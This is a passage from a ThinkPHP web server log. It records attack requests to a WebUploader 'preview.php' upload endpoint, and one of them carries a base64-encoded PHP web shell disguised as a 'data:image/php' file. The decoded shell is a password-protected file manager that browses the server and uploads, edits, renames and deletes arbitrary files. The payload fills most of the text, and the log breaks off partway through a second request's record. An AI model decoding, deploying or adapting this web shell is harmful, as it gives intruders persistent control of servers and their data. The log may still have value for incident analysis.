'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:35+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002800s] [吞吐率:357.14req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 